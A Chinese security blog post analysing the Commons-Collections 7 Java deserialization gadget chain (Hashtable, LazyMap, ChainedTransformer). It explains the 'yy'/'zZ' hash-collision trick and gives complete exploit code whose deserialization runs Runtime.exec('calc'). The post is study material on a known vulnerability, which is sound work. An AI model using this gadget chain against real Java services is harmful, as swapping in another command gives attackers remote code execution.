Java安全-Commons-Collections 7利用链分析

p0l1st Lv2

前言

CC7和CC5类似,后半部分也是LazyMap

image-20250202152139148

CC7

链子分析

我们先从链子的前半部分开始

先看入口类HashtablereadObject方法调用了reconstitutionPut方法

image-20250202152805976

reconstitutionPut方法调用了equals方法,当然也调用了hashCode方法,如果走hashCode的话又回到了CC6

image-20250202153129663

往下调用了LazyMap类的equals方法,但是LazyMap类并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecoratorequals方法

image-20250202155530179

image-20250202155859180

这里比较了两个key的引用,如果不是同一对象则会再次调用equals方法,map是通过LazyMap传递的,LazyMap链中用decorate方法将HashMap传给了map,所以这里会调用HashMapequals方法

image-20250202224545497

HashMap没有equals方法,但是继承了AbstractMap抽象类,这个类有equals方法

image-20250202225113303

image-20250202230749178

image-20250202193849196

AbstractMap类的equals方法调用了get方法,这样整条链子就接上了

构造Exp

后半段链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.ws.spi.Invoker;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);

}
}

结合入口类

Hashtable类的reconstitutionPut方法

image-20250202200700840

这里对传进去的Entry对象数组进行了循环,逐个调用e.key.equals(key),这里的key如果可控,那么AbstractMap.equals中的m也是可控的

我们直接将decorateMap传入key

1
2
Hashtable hashtable = new Hashtable();
hashtable.put(decoratedMap, "p0l1st");

Hashtable.readObject()方法中的keyvalue实际上就是通过Hashtable.put()方法放进去的键值对

image-20250202225430220

然后进行序列化反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(decoratedMap, "p0l1st");

serialize(hashtable);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

但是却没有弹计算器

AbstractMap类的equals方法打个断点,发现根本没执行到这里

image-20250202202122308

看看yso的链子

image-20250202202616109

相比之下

  • 多了一个map
  • 两次put,key分别是yy和zZ
  • 最后remove了yy

为什么要调用两次put

HashtablereconstitutionPut方法是被遍历调用的,第一次调用的时候,并不会走到reconstitutionPut方法的for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值

image-20250202205617643

第二次调用reconstitutionPut时,tab才有值,才能进入for循环从而调用equals

为什么两次putkey分别为yy和zZ?

第二次调用reconstitutionPut进入for循环的时候,此时的e是从tab中取出的lazyMap1,然后进入判断,需要满足e.hash == hash才能走到e.key.equals方法中。这里判断要求取出来的lazyMap1对象的hash值要等于现在对象lazyMap2的hash值,这里的hash值是通过lazyMap对象中的key.hashCode得到的,也就是说lazyMap1的hash值就是"yy".hashCode(),lazyMap2的hash值就是"zZ".hashCode(),而在Java中有一个小bug

1
"yy".hashCode() == "zZ".hashCode()

yyzZhashCode计算出来的值是一样的,所以我们需要将map中put的值设置为yyzZ,这样才能走到e.key.equals

为什么调用完Hashtable.put后,还需要removeyy

这是因为Hashtable.put实际上也会调用到equals方法

当调用完equals方法后,lazyMap2的key就会增加一个yy键

image-20250202215645645

这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完之后就不满足了,那么经过反序列化也不满足hash碰撞了,也就不会执行命令,所以构造完序列化链之后需要手动删除这多出来的一组键值对

Exp应该是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");


serialize(hashtable);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

但是这样会弹出两个计算器,序列化的时候就会弹出一个

image-20250202220058590

还是老样子先设置为常量再反射修改

Exp

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);

Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");


serialize(hashtable);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

image-20250202220758678

参考文章

Java_Commons-Collections 7(CC7) 学习过程

Java反序列化Commons-Collections篇08-CC7链

  • Title: Java安全-Commons-Collections 7利用链分析
  • Author: p0l1st
  • Created at : 2025-02-02 23:20:48
  • Updated at : 2025-02-02 23:23:38
  • Link: https://blog.p0l1st.top/2025/02/02/Java安全-Commons-Collections-7利用链分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Java安全-Commons-Collections 7利用链分析